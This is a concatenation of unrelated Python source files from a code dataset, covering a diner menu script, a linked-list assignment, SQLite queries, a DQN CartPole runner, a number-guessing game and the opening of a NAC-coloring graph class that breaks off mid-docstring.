selection == 2:\n totalCost += Hotdog(totalCost)\n totalCost += sideMenu(totalCost)\n receipt = \"your total is $\" + str(totalCost)\n print(receipt)\n elif selection == 3:\n totalCost += Salad(totalCost)\n totalCost += sideMenu(totalCost)\n receipt = \"your total is $\" + str(totalCost)\n print(receipt)\n else:\n print(\"Invalid choice. enter 1-3\")\n mainMenu()\n\n\ndef Sandwhich(totalCost):\n print(\"Great choice!\")\n totalCost += 8\n # anykey = input(\"Enter anything to go to side menu\")\n return totalCost\n\n\ndef Hotdog(totalCost):\n print(\"You must be hungry!\")\n totalCost += 7.5\n # anykey = input(\"Enter anything to go to side menu\")\n return totalCost\n\n\ndef Salad(totalCost):\n print(\"Well, Shit someone is looking to be healthy! Are you sure you want this? Sounds like garbage to me!\")\n totalCost += 6\n # anykey = input(\"Enter anything to go to side menu\")\n return totalCost\n\n\ndef sideMenu(totalCost):\n print(\"1.Chips $10.50\")\n print(\"2.Cookie $7.50\")\n print(\"3.Fries $3\")\n selection = int(input(\"Enter Choice:\"))\n if selection == 1:\n totalCost += Chips(totalCost)\n return totalCost\n elif selection == 2:\n totalCost += Cookie(totalCost)\n return totalCost\n elif selection == 3:\n totalCost += Drink(totalCost)\n return totalCost\n else:\n print(\"Invalid choice. enter 1-3\")\n sideMenu()\n\n\ndef Chips(totalCost):\n print(\"Oh, you fat ass! I'm proud of you. That'll be $10.50.\")\n totalCost += 10.5\n # anykey = input(\"Enter anything to return to main menu\")\n return totalCost\n\n\ndef Cookie(totalCost):\n print(\"A cookie it is! that'll be $7.50\")\n totalCost += 7.5\n # anykey = input(\"Enter anything to return to main menu\")\n return totalCost\n\n\ndef Drink(totalCost):\n print(\"Sweet!\")\n totalCost += 3\n # anykey = input(\"Enter anything to return to main menu\")\n return totalCost\n receipt = \"your total is $\" + str(totalCost)\n\nmain()\n","sub_path":"BottegaDiner.py","file_name":"BottegaDiner.py","file_ext":"py","file_size_in_byte":3002,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"553954852","text":"import io\nimport picamera\nimport time\n\n\nwidth = 1920\nheight = 1080\nstream = open('image.jpg', 'wb')\n\n# Capture the image in RGB format\nwith picamera.PiCamera() as camera:\n camera.resolution = (width, height)\n #camera.resolution = camera.MAX_IMAGE_RESOLUTION\n\n ##Camera Properties\n camera.sharpness = 20\n camera.contrast = 0\n camera.brightness = 50\n camera.saturation= 0\n camera.ISO = 0\n camera.video_stabilization = False\n camera.exposure_compensation = 0\n camera.exposure_mode = 'auto'\n camera.meter_mode = 'average'\n camera.awb_mode = 'auto'\n camera.image_effect = 'none'\n camera.color_effects = None\n camera.rotation = 0\n camera.hflip = False\n camera.vflip = False\n camera.crop = (0.0 ,0.0, 1.0, 1.0)\n ##End Camera Properties\n \n camera.start_preview()\n time.sleep(2)\n camera.capture(stream)\n","sub_path":"myCamera_Stream.py","file_name":"myCamera_Stream.py","file_ext":"py","file_size_in_byte":866,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"463115536","text":"\"\"\"\n-------------------------------------------------------\nsorted_list_linked.py\n-------------------------------------------------------\nAuthor: David Brown\nID:\nEmail: dbrown@wlu.ca\nVersion: 2013-02-03\n-------------------------------------------------------\nLinked version of the sorted list ADT.\n-------------------------------------------------------\n\"\"\"\nimport copy\n\nclass _SLNode:\n\n def __init__(self, value, next_node):\n \"\"\"\n -------------------------------------------------------\n Initializes a sorted list node.\n Use: node = _SLNode(value, next_node)\n -------------------------------------------------------\n Preconditions:\n value - data value for node (?)\n next_node - another sorted list node (_SLNode)\n Postconditions:\n Initializes a sorted list node that contains a copy of value\n and a link to the next node in the sorted list.\n -------------------------------------------------------\n \"\"\"\n self._value = copy.deepcopy(value)\n self._next_node = next_node\n return\n\nclass SortedList:\n\n def __init__(self):\n \"\"\"\n -------------------------------------------------------\n Initializes an empty sorted list.\n Use: sl = SortedList()\n -------------------------------------------------------\n Postconditions:\n Initializes an empty sorted list.\n -------------------------------------------------------\n \"\"\"\n self._front = None\n self._size = 0\n return\n\n def _linear_search(self, key):\n \"\"\"\n ---------------------------------------------------------\n Looks for the first occurrence of key in the linked list.\n Use: node = self._linear_search( key )\n -------------------------------------------------------\n Preconditions:\n key - a comparable data element (?)\n Postconditions:\n returns:\n current - the node that contains key if it exists, None otherwise\n -------------------------------------------------------\n \"\"\"\n current = self._front\n\n while current != None and key > current._value:\n current = current._next_node\n return current\n\n def insert(self, value):\n \"\"\"\n -------------------------------------------------------\n Inserts value at the proper place in the list.\n Must be a stable insertion, i.e. consecutive insertions\n of the same value must keep their order preserved.\n Use: sl.insert( value )\n -------------------------------------------------------\n Preconditions:\n value - a data element (?)\n Postconditions:\n Inserts value at its sorted position within the list.\n -------------------------------------------------------\n \"\"\"\n current = self._front\n previous = None\n\n # Loop through the linked list to find the proper position for _value.\n while current is not None and value >= current._value:\n previous = current\n current = current._next_node\n\n # Create the new node and link it to current.\n node = _SLNode(copy.deepcopy(value), current)\n\n if previous is None:\n # The new node is the first node in the linked list.\n self._front = node\n else:\n # The previous node is linked to the new node.\n previous._next_node = node\n\n # Increment the priority queue size.\n self._size += 1\n return\n\n def remove(self, key):\n \"\"\"\n -------------------------------------------------------\n Finds, removes, and returns the value in list that matches key.\n Use: value = sl.remove( key )\n -------------------------------------------------------\n Preconditions:\n key - a data element (?)\n Postconditions:\n Returns:\n value - the full value matching key and value is removed from\n sl, otherwise returns None.\n -------------------------------------------------------\n \"\"\"\n current = self._front\n previous = None\n\n # Loop through the linked list to find the proper position for _value.\n while current is not None and key >= current._value:\n previous = current\n current = current._next_node\n\n if current is None:\n value = None\n else:\n # Remove the _value.\n value = current._value\n self._size -= 1\n\n if previous == None:\n self._front = current._next_node\n else:\n previous._next_node = current._next_node\n return value\n\n def __getitem__(self, n):\n \"\"\"\n ---------------------------------------------------------\n Returns a copy of the nth element of the list.\n Use: value = sl[n]\n -------------------------------------------------------\n Preconditions:\n n - index of the element to access (int)\n Postconditions:\n Returns the nth element of sl if it exists, None if n\n is outside the boundaries of sl.\n -------------------------------------------------------\n \"\"\"\n if n >= 0 and n < len(self._values):\n i = 0\n current = self._front\n\n while i < n:\n current = current._next_node\n i += 1\n value = copy.deepcopy(current._value)\n else:\n value = None\n return value\n\n def __contains__(self, key):\n \"\"\"\n ---------------------------------------------------------\n Determines if the list contains key.\n Use: b = key in l\n -------------------------------------------------------\n Preconditions:\n key - a comparable data element (?)\n Postconditions:\n Returns True if the list contains key, False otherwise.\n -------------------------------------------------------\n \"\"\"\n current = self._linear_search(key)\n\n if current is None:\n result = False\n else:\n result = True\n return result\n\n def print_i(self):\n \"\"\"\n -------------------------------------------------------\n Prints the contents of list.\n Use: sl.print_i()\n -------------------------------------------------------\n Postconditions:\n Prints each value in list.\n -------------------------------------------------------\n \"\"\"\n current = self._front\n\n while current is not None:\n print(current._value)\n current = current._next_node\n return\n\n def find(self, key):\n \"\"\"\n -------------------------------------------------------\n Returns the value matching key in list.\n Use: value = sl.find( key )\n -------------------------------------------------------\n Preconditions:\n key - the key to search for (?)\n Postconditions:\n returns:\n value - the full value matching key if it is in sl,\n None otherwise (?)\n -------------------------------------------------------\n \"\"\"\n\n current = self._front\n while current != None and current._value != key:\n current = current._next_node\n if current != None:\n value = current._value\n else:\n value = None\n\n return value\n\n def replace(self, value):\n \"\"\"\n -------------------------------------------------------\n Finds the node in the list containing value. If value\n is in list, replaces the old value with value and returns\n old value. Otherwise inserts value and returns None.\n Use: old_value = sl.replace( value )\n -------------------------------------------------------\n Preconditions:\n value - a data element (?)\n Postconditions:\n Returns:\n old_value - the value replaced if it is in sl, None otherwise.\n -------------------------------------------------------\n \"\"\"\n\n current = self._front\n while current != None and value > current._value:\n previous = current\n current = current._next_node\n\n if current == None:\n node = _SLNode(value, self._front)\n self._front = node\n old_value = self._front._value\n self._size += 1\n elif current._value == value:\n current._value = value\n old_value = current._value\n else:\n if current == self._front:\n node = _SLNode(value, self._front)\n self._front = node\n old_value = self._front._value\n else:\n node = _SLNode(value, current)\n previous._next_node = node\n old_value = None\n self._size += 1\n\n return old_value\n\n def intersection(self, left, right):\n \"\"\"\n -------------------------------------------------------\n Copies all of the values common to both left and right to\n the current list. Only one copy of each value should end\n up in the current list.\n -------------------------------------------------------\n Preconditions:\n left - another list (SortedList)\n right - another list (SortedList)\n Postconditions:\n This list contains only the values found in both left and\n right in sorted order. Values repeat as many times as they\n appear in both lists.\n -------------------------------------------------------\n \"\"\"\n current1 = left._front\n current = self._front\n while current1 is not None:\n current2 = right._front\n while current2 is not None:\n if current1._value == current2._value:\n #for first value\n if current is None:\n node = _SLNode(current1._value, self._front)\n self._front = node\n self._size += 1\n current = self._front\n else:\n node = _SLNode(current1._value, current._next_node)\n current._next_node = node\n self._size += 1\n current = current._next_node\n current2 = current2._next_node\n current1 = current1._next_node\n\n\n return\n\n def union(self, left, right):\n \"\"\"\n -------------------------------------------------------\n Copies all of the values in both left and right to\n the current list. Each value appears only once.\n -------------------------------------------------------\n Preconditions:\n left - another list (SortedList)\n right - another list (SortedList)\n Postconditions:\n This list contains all the values found in both left and\n right. Values appear only once. Order is not important.\n -------------------------------------------------------\n \"\"\"\n empty = True\n current = self._front\n current_left = left._front\n current_right = right._front\n #take left values\n while current_left is not None:\n if empty == True:\n node = _SLNode(current_left._value, self._front)\n self._front = node\n self._size += 1\n current_left = current_left._next_node\n empty = False\n\n current = self._front\n while current is not None and current_left._value != current._value:\n previous = current\n current = current._next_node\n if current == None:\n node = _SLNode(current_left._value, None)\n previous._next_node = node\n self._size += 1\n current_left = current_left._next_node\n\n #take right values\n while current_right is not None:\n if empty == True:\n node = _SLNode(current_right._value, self._front)\n self._front = node\n self._size += 1\n current_right = current_right._next_node\n empty = False\n\n current = self._front\n while current is not None and current_right._value > current._value:\n previous = current\n current = current._next_node\n if current == None:\n node = _SLNode(current_right._value, None)\n previous._next_node = node\n self._size += 1\n elif current_right._value < current._value:\n if current == self._front:\n node = _SLNode(current_right._value, self._front)\n self._front = node\n else:\n node = _SLNode(current_right._value, current)\n previous._next_node = node\n self._size += 1\n\n current_right = current_right._next_node\n\n return\n","sub_path":"CP114/Assignments/varu4300_a17/src/sorted_list_linked.py","file_name":"sorted_list_linked.py","file_ext":"py","file_size_in_byte":13209,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"391080459","text":"import sqlite3\nimport os\n\n# construct the path from os module to make sure that it runs platform independant\n#DB_FILENAME = os.path.join(os.path.dirname(__file__), \"..\", \"inclass\",\n #\"rpg_db.sqlite3\")\n\nDB_FILENAME = \"rpg_db.sqlite3\"\nconnection = sqlite3.connect(DB_FILENAME)\nconnection.row_factory = sqlite3.Row # lest reat our objects like dict nor tuples\ncurs = connection.cursor()\n\n# question one\n# what is the total number of characters?\n\nquery = \"\"\"\nSELECT\n \tCOUNT(DISTINCT character_id) as char_count\nFROM charactercreator_character\nORDER BY 1\n\"\"\"\nresult = curs.execute(query).fetchall()\nfor row in result:\n print(\"the total number of characters is\", row[0])\n\n\n# question three\n# what are the total number of items?\nquery = \"\"\"\nSELECT\n\tcount(item_id) as item_count\nFROM armory_item\n\"\"\"\nresult = curs.execute(query).fetchall()\nfor row in result:\n print(\"the total number of items is\", row[0])\n\n# question four\n# out of the total number of items how man are weapons?\n# how many are not weapons?\nquery = \"\"\"\nSELECT\n\tcount(i.item_id) as total_items,\n\tcount(distinct w.item_ptr_id) as weapons\nFROM armory_item as i\nLEFT JOIN armory_weapon as w on i.item_id = w.item_ptr_id\n\"\"\"\nresult = curs.execute(query).fetchall()\nprint(\"the total number of items that are weapons is \",\n result[0][1],\n \"\\nthe total number of items that are not weapons is \",\n result[0][0] - result[0][1],\n sep='')\n\n# question five:\n# how many items does each character have?\nquery = \"\"\"\nSELECT\n\tx.character_name,\n\tx.item_name,\n\tcount(x.character_name) as number_of_items\nFROM (\n\tSELECT\n\t\tchars.name as character_name,\n\t\titems.name as item_name\n\tFROM charactercreator_character_inventory as inv\n\tJOIN armory_item as items ON inv.item_id = items.item_id\n\tJOIN charactercreator_character as chars ON inv.character_id = chars.character_id\n) x\nGROUP BY x.character_name\nORDER BY number_of_items DESC\nLIMIT 20\n\"\"\"\nresult = curs.execute(query).fetchall()\navg_items = 0\nfor i in range(len(result)):\n avg_items += result[i][2]\n print(f\"the character named {result[i][0]} has {result[i][2]} items\")\n\n\n# question six\n# on avgerage how man items do the characters have?\nprint(f\"on average the characters have {round(avg_items/len(result),2)}\")\n","sub_path":"module1-introduction-to-sql/rpg_queries.py","file_name":"rpg_queries.py","file_ext":"py","file_size_in_byte":2262,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"408138399","text":"# License: Apache 2.0\n\nimport warnings\n\nimport numpy as np\nfrom scipy import sparse as sp\nfrom scipy.sparse import SparseEfficiencyWarning\nfrom sklearn.base import BaseEstimator, TransformerMixin\nfrom joblib import Parallel, delayed\nfrom sklearn.utils.validation import check_array, check_is_fitted\n\n\nclass TransitionGraph(BaseEstimator, TransformerMixin):\n \"\"\"Given a collection of two-dimensional arrays, with row :math:`i` in\n array :math:`A` encoding the \"state\" of a system at \"time\" :math:`i`,\n this transformer returns a corresponding collection of so-called\n *transition graphs*. The vertex set of graph :math:`G` corresponding to\n :math:`A` is the set of all unique rows (states) in :math:`A`, and there\n is an edge between two vertices if and only if one of the two rows\n immediately follows the other anywhere in :math:`A`.\n\n Parameters\n ----------\n n_jobs : int or None, optional, default: ``None``\n The number of jobs to use for the computation. ``None`` means 1 unless\n in a :obj:`joblib.parallel_backend` context. ``-1`` means using all\n processors.\n\n Examples\n --------\n >>> import numpy as np\n >>> from giotto.graphs import TransitionGraph\n >>> X = np.array([[['a'], ['b'], ['c']],\n ... [['c'], ['a'], ['b']]])\n >>> tg = TransitionGraph()\n >>> tg = tg.fit(X)\n >>> print(tg.transform(X)[0].toarray())\n [[0 1 0]\n [1 0 1]\n [0 1 0]]\n >>> print(tg.transform(X)[1].toarray())\n [[0 1 1]\n [1 0 0]\n [1 0 0]]\n\n \"\"\"\n\n def __init__(self, n_jobs=None):\n self.n_jobs = n_jobs\n\n def _make_adjacency_matrix(self, X):\n indices = np.unique(X, axis=0, return_inverse=True)[1]\n n_indices = 2 * (len(indices) - 1)\n first = indices[:-1]\n second = indices[1:]\n Xm = sp.csr_matrix((np.full(n_indices, 1),\n (np.concatenate([first, second]),\n np.concatenate([second, first]))))\n # See issue #36\n with warnings.catch_warnings():\n warnings.simplefilter('ignore', SparseEfficiencyWarning)\n sp.csr_matrix.setdiag(Xm, 0)\n return Xm\n\n def fit(self, X, y=None):\n \"\"\"Do nothing and return the estimator unchanged.\n\n This method is there to implement the usual scikit-learn API and hence\n work in pipelines.\n\n Parameters\n ----------\n X : ndarray, shape (n_samples, n_time_steps, n_features)\n Input data.\n\n y : None\n There is no need of a target in a transformer, yet the pipeline API\n requires this parameter.\n\n Returns\n -------\n self : object\n\n \"\"\"\n check_array(X, allow_nd=True)\n\n self._is_fitted = True\n return self\n\n def transform(self, X, y=None):\n \"\"\"Create transition graphs from the input data and return their\n adjacency matrices. The graphs are simple, undirected and\n unweighted, and the adjacency matrices are sparse matrices of type\n bool.\n\n Parameters\n ----------\n X : ndarray, shape (n_samples, n_time_steps, n_features)\n Input data.\n\n y : None\n There is no need of a target in a transformer, yet the pipeline API\n requires this parameter.\n\n Returns\n -------\n Xt : array of sparse boolean matrices, shape (n_samples, )\n The collection of ``n_samples`` transition graphs. Each transition\n graph is encoded by a sparse matrix of boolean type.\n\n \"\"\"\n # Check if fit had been called\n check_is_fitted(self, ['_is_fitted'])\n Xt = check_array(X, copy=True, allow_nd=True)\n\n Xt = np.argsort(Xt, axis=2)\n\n Xt = Parallel(n_jobs=self.n_jobs)(\n delayed(self._make_adjacency_matrix)(X[i]) for i in\n range(X.shape[0]))\n return Xt\n","sub_path":"giotto/graphs/transition.py","file_name":"transition.py","file_ext":"py","file_size_in_byte":3917,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"191083782","text":"# -*- coding: utf-8 -*-\n# This file as well as the whole tsfresh package are licenced under the MIT licence (see the LICENCE.txt)\n# Maximilian Christ (maximilianchrist.com), Blue Yonder Gmbh, 2016\n\nfrom __future__ import absolute_import, division\n\nfrom unittest import TestCase\nimport numpy as np\nfrom tsfresh.feature_extraction.settings import FeatureExtractionSettings\nimport six\nfrom tsfresh.feature_extraction import feature_calculators\n\nclass TestSettingsObject(TestCase):\n\n def test_from_columns(self):\n\n tsn = \"TEST_TIME_SERIES\"\n\n fset = FeatureExtractionSettings()\n self.assertRaises(TypeError, fset.from_columns, 42)\n self.assertRaises(TypeError, fset.from_columns, 42)\n self.assertRaises(ValueError, fset.from_columns, [\"This is not a column name\"])\n self.assertRaises(ValueError, fset.from_columns, [\"This__neither\"])\n self.assertRaises(ValueError, fset.from_columns, [\"This__also__not\"])\n\n # Aggregate functions\n feature_names = [tsn + '__sum_values', tsn + \"__median\", tsn + \"__length\"]\n\n # Aggregate functions with params\n feature_names += [tsn + '__quantile__q_10', tsn + '__quantile__q_70', tsn + '__number_peaks__n_30',\n tsn + '__value_count__value_inf', tsn + '__value_count__value_-inf',\n tsn + '__value_count__value_nan']\n\n # Apply functions\n feature_names += [tsn + '__ar_coefficient__k_20__coeff_4', tsn + '__ar_coefficient__coeff_10__k_-1']\n\n cset = fset.from_columns(feature_names)\n\n six.assertCountEqual(self, list(cset.kind_to_calculation_settings_mapping[tsn].keys()),\n [\"sum_values\", \"median\", \"length\", \"quantile\", \"number_peaks\", \"ar_coefficient\",\n \"value_count\"])\n\n self.assertEqual(cset.kind_to_calculation_settings_mapping[tsn][\"sum_values\"], None)\n self.assertEqual(cset.kind_to_calculation_settings_mapping[tsn][\"ar_coefficient\"],\n [{\"k\": 20, \"coeff\": 4}, {\"k\": -1, \"coeff\": 10}])\n\n self.assertEqual(cset.kind_to_calculation_settings_mapping[tsn][\"value_count\"],\n [{\"value\": np.PINF}, {\"value\": np.NINF}, {\"value\": np.NaN}])\n\n def test_default_calculates_all_features(self):\n \"\"\"\n Test that by default a FeatureExtractionSettings object should be set up to calculate all features defined\n in tsfresh.feature_extraction.feature_calculators\n :param self:\n :return:\n \"\"\"\n settings = FeatureExtractionSettings()\n all_feature_calculators = [name for name, func in feature_calculators.__dict__.items()\n if hasattr(func, \"fctype\")]\n\n for calculator in all_feature_calculators:\n self.assertIn(calculator, settings.name_to_param,\n msg='Default FeatureExtractionSettings object does not setup calculation of {}'\n .format(calculator))\n","sub_path":"tests/feature_extraction/test_settings.py","file_name":"test_settings.py","file_ext":"py","file_size_in_byte":3013,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"372108914","text":"from random import random\n \ndef make_list(n, mn, mx):\n a = []\n for i in range(n):\n b = int(random() * (mx - mn + 1)) + mn\n a.append(b)\n return a\n \ndef max_div(a):\n b = max(a)\n for i in a:\n print('%.2f ' % (i/b), end='')\n print()\n print('max =', b)\n \nprint('Вводите количество элементов, минимум и максимум через пробел')\nprint('(для завершения оставьте пустую строку)')\nwhile 1:\n print()\n data = input()\n if data == '': break\n data = data.split()\n mylist = make_list(int(data[0]), int(data[1]), int(data[2]))\n print(mylist)\n max_div(mylist)\n","sub_path":"T1/OksSmirnova/2.py","file_name":"2.py","file_ext":"py","file_size_in_byte":690,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"495029216","text":"#!/usr/bin/env python\n#coding=utf-8\n\n\"\"\"\nparaCsvHandle\n~~~~~~~~~~~~~\n\nThis module implements the parallel handling the csv2npy to fetch the \ntrip's features.\nmake use of the 160 cpu in Power,one cpu to handle several drivers' trips\n\nWritten by Kai Yang\n\"\"\"\n\n\nimport os\nimport shutil\nimport multiprocessing\nimport datetime\nimport csv2npy\n\n\n\n\"\"\"\ndefine the path\n\"\"\"\ncwd=os.getcwd()\nrawDataPath=cwd+'/drivers'\noutputPath=cwd+'/featureData'\n\nif os.path.exists(outputPath):\n\tshutil.rmtree(outputPath)\n\tos.mkdir(outputPath)\nelse:\n\tos.mkdir(outputPath)\n \n\ndef processorWork(dirNameVecs):\n \"\"\"One Cpu's work,handle several drivers' trips\n :param driNameVecs: type(list),the element is driver's name\n \"\"\"\n for dirName in dirNameVecs:\n print(\"Process driver:\",dirName)\n dirPath=os.path.join(rawDataPath,dirName)\n savePath=outputPath+'/'+str(dirName)\n if os.path.exists(savePath):\n shutil.rmtree(savePath)\n os.mkdir(savePath)\n else:\n os.mkdir(savePath)\n for dirname,subdirs,files in os.walk(dirPath):\n for f in files:\n #remove the .csv suffix\n if f.endswith('.csv'):\n fileOutName=dirName+'_'+f.split('.')[0]\n csv2npy.csv2npy(dirPath,f,savePath,fileOutName)\n\n\ndef jobWorkForDir():\n \"\"\"\n handle several drivers' trip. \n i.e 50 drivers\n the number of processor is the len of drivers\n so can not handle too many drivers\n just for test\n \"\"\"\n dirList=os.listdir(rawDataPath)\n if \"._.DS_Store\" in dirList:\n dirList.remove(\"._.DS_Store\")\n if \".DS_Store\" in dirList:\n dirList.remove(\".DS_Store\")\n num_processor=len(dirList)\n #create the process pool\n print(\"processor number:\",num_processor) \n pool=multiprocessing.Pool(processes=num_processor)\n pool.map(processorWork,([d] for d in dirList))\n\n\n\ndef jobWorkForAll():\n \"\"\"\n handle all drivers' trips,total 2736 drivers\n One Cpu handle 19 drivers\n \"\"\"\n\n dirList=os.listdir(rawDataPath)\n if \"._.DS_Store\" in dirList:\n dirList.remove(\"._.DS_Store\")\n if \".DS_Store\" in dirList:\n dirList.remove(\".DS_Store\")\n\n #the len should be 2736\n print(\"drivers num:\",len(dirList))\n #2736=144*19\n num_processor=144\n #create the process pool\n pool=multiprocessing.Pool(processes=144)\n print(\"num_processor:\",num_processor)\n args=(dirList[i*19:i*19+19] for i in xrange(num_processor))\n pool.map(processorWork,args)\n\nif __name__=='__main__':\n\tstarttime=datetime.datetime.now()\n\tjobWorkForAll()\n\tendtime=datetime.datetime.now()\n\tprint(\"execute time: %d s\"%((endtime-starttime).seconds))\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n","sub_path":"paraCsvHandle.py","file_name":"paraCsvHandle.py","file_ext":"py","file_size_in_byte":2713,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"582506466","text":"maxNo = int(input(\"Enter No. of Fibonacci to be printed: \"))\n\ndef fibonacci(n):\n if n == 0:\n return 0\n if n == 1:\n return 1\n return fibonacci(n-1) + fibonacci(n-2)\n\n\nfibonacciList = []\nfor i in range(1, maxNo+1):\n fibonacciList.append(fibonacci(i))\n\nprint(fibonacciList)","sub_path":"exercises/fibonacci.py","file_name":"fibonacci.py","file_ext":"py","file_size_in_byte":296,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"561748627","text":"import gym\nimport numpy as np\nimport tensorflow as tf\nfrom dqn import *\n\nif __name__ == '__main__':\n env = gym.make('CartPole-v0')\n env = env.unwrapped\n\n with tf.Session() as sess:\n rl = DQN(\n sess=sess,\n s_dim=env.observation_space.shape[0],\n a_dim=env.action_space.n,\n batch_size=128,\n gamma=0.99,\n lr=0.01,\n epsilon=0.1,\n replace_target_iter=300\n )\n tf.global_variables_initializer().run()\n\n rs = []\n for i_episode in range(1000):\n\n s = env.reset()\n r_sum = 0\n while True:\n a = rl.choose_action(s)\n\n s_, r, done, _ = env.step(a)\n\n rl.store_transition_and_learn(s, a, r, s_, done)\n\n r_sum += 1\n if done:\n print(i_episode, r_sum)\n rs.append(r_sum)\n break\n\n s = s_\n\n print('mean', np.mean(rs))\n","sub_path":"Deep_Q_Network/Dueling_DQN/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1013,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"189439887","text":"import random\n\nprint('数当てゲームを始めます3桁の数を当ててください!')\n\n#答え作成\nanswer = list()\nfor _ in range(3):\n answer.append(random.randint(0,9))\nprint(answer)\n\nwhile True:\n\n #解答入力\n prediction = list()\n for i in range(3):\n prediction.append(int(input(f'{i+1}桁目の予想を入力(0~9)>>')))\n print(prediction)\n\n #答え合わせ\n hit = 0\n blow = 0\n\n for i in range(3):\n if prediction[i] == answer[i]:\n hit += 1\n else:\n for n in range(3):\n if prediction[i] == answer[n] and i != n:\n blow += 1\n\n#リザルト\n print(f'{hit}ヒット!{blow}ボール!')\n if hit == 3:\n print('正解です!')\n break\n else:\n if int(input('続けますか?1:続ける2:終了>>')) == 2:\n print(f'正解は{answer[0]}{answer[1]}{answer[2]}でした')\n break\n\n#解答\n'''\nimport random\nprint('数あてゲームを始めます。3桁の数をあててください')\nanswer=[random.randint(0,9) for i in range(3)]\nwhile True:\n\thit=ball=0\n\tfor i in range(3):\n\t\tnum=int(input(f'{i+1}桁目の予想を入力(0-9)>>'))\n\t\tfor j in range(3):\n\t\t\tif answer[j]==num:\n\t\t\t\tif i==j:\n\t\t\t\t\thit+=1\n\t\t\t\telse:\n\t\t\t\t\tball+=1\n\tprint(f'{hit}ヒット!{ball}ボール')\n\tif hit==3:\n\t\tprint('正解です!')\n\t\tbreak\n\telse:\n\t\tselect=int(input('続けますか?1:続ける 2:終了>>'))\n\t\tif select == 2:\n\t\t\tprint(f'正解は{answer[0]}{answer[1]}{answer[2]}でした!')\n\t\t\tbreak\n'''\n","sub_path":"day0209/EX7_6.py","file_name":"EX7_6.py","file_ext":"py","file_size_in_byte":1534,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"428524107","text":"# -*- coding: utf-8 -*-\nr\"\"\"\nThis class implements a NAC-coloring of a graph.\n\nA coloring of edges $\\\\delta\\\\colon E_G\\\\rightarrow \\\\{\\\\text{blue, red}\\\\}$\nis called a *NAC-coloring*, if it is surjective and for every cycle $C$ in $G$,\neither all edges of $C$ have the same color, or\n$C$ contains at least 2 edges in each color [GLS2018]_.\n\nMethods\n-------\n\n\n{INDEX_OF_METHODS}\n\nAUTHORS:\n\n- Jan Legerský (2019-01-15): initial version\n\nNACcoloring\n-----------\n\"\"\"\n\n#Copyright (C) 2018 Jan Legerský\n#\n#This program is free software: you can redistribute it and/or modify\n#it under the terms of the GNU General Public License as published by\n#the Free Software Foundation, either version 3 of the License, or\n#(at your option) any later version.\n#\n#This program is distributed in the hope that it will be useful,\n#but WITHOUT ANY WARRANTY; without even the implied warranty of\n#MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n#GNU General Public License for more details.\n#\n#You should have received a copy of the GNU General Public License\n#along with this program. If not, see .\n\nfrom sage.all import Graph, Set#, show\nfrom sage.all import SageObject, latex, flatten\nfrom sage.misc.rest_index_of_methods import gen_rest_table_index\nfrom sage.misc.latex import latex_variable_name\nfrom sage.all import PermutationGroup\nfrom sage.all import copy\n\nimport exceptions\n\nclass NACcoloring(SageObject):\n r\"\"\"\n The class for a NAC-coloring of a graph.\n\n A coloring of edges $\\\\delta\\\\colon E_G\\\\rightarrow \\\\{\\\\text{blue, red}\\\\}$\n is called a *NAC-coloring*, if it is surjective and for every cycle $C$ in $G$,\n either all edges of $C$ have the same color, or\n $C$ contains at least 2 edges in each color [GLS2018]_.\n\n INPUT:\n\n - ``G`` -- a graph of type :class:`FlexRiGraph`\n to which the NAC-coloring belongs.\n - ``coloring`` -- a dictionary assigning to every edge of ``G`` either ``\"red\"`` or ``\"blue\"``,\n or a list consisting of two lists giving a partition of the edges of ``G``\n - ``name`` -- an optional name of the NAC-coloring\n - ``check`` -- if ``True`` (default), then surjectivity and the cycle conditions are checked.\n (see :meth:`is_NAC_coloring`). A ``ValueError`` is raised if the check fails\n\n EXAMPLES::\n\n sage: from flexrilog import NACcoloring\n sage: from flexrilog import GraphGenerator\n sage: G = GraphGenerator.SmallestFlexibleLamanGraph(); G\n SmallestFlexibleLamanGraph: FlexRiGraph with the vertices [0, 1, 2, 3, 4] and edges [(0, 1), (0, 2), (0, 3), (1, 2), (1, 3), (2, 4), (3, 4)]\n sage: delta = NACcoloring(G,[[(0, 1), (0, 2), (0, 3), (1, 2), (1, 3)], [(2, 4), (3, 4)]]); delta\n NAC-coloring with red edges {{1, 3}, {1, 2}, {0, 2}, {0, 3}, {0, 1}} and blue edges {{2, 4}, {3, 4}}\n\n By default, it is checked whether the ``coloring`` is a NAC-coloring::\n\n sage: delta = NACcoloring(G,[[(0, 1), (0, 2)], [(0, 3), (1, 2), (1, 3), (2, 4), (3, 4)]]); delta\n Traceback (most recent call last):\n ...\n ValueError: The coloring is not a NAC-coloring.\n sage: delta = NACcoloring(G,[[(0, 1), (0, 2)], [(0, 3), (1, 2), (1, 3), (2, 4), (3, 4)]], check=False); delta\n NAC-coloring with red edges {{0, 2}, {0, 1}} and blue edges {{1, 3}, {1, 2}, {2, 4}, {0, 3}, {3, 4}}\n sage: delta.is_NAC_coloring()\n False\n\n A dictionary can be also used as an input::\n\n sage: delta = NACcoloring(G,{(0, 1) : \"red\", (0, 2) : \"red\", (0, 3) : \"red\", (1, 2) : \"red\", (1, 3) : \"red\", (2, 4) : \"blue\", (3, 4) : \"blue\"}); delta\n NAC-coloring with red edges {{1, 3}, {1, 2}, {0, 2}, {0, 3}, {0, 1}} and blue edges {{2, 4}, {3, 4}}\n\n The ``coloring`` must be a partition of edges of ``G``::\n\n sage: delta = NACcoloring(G,[[(0, 1), (0, 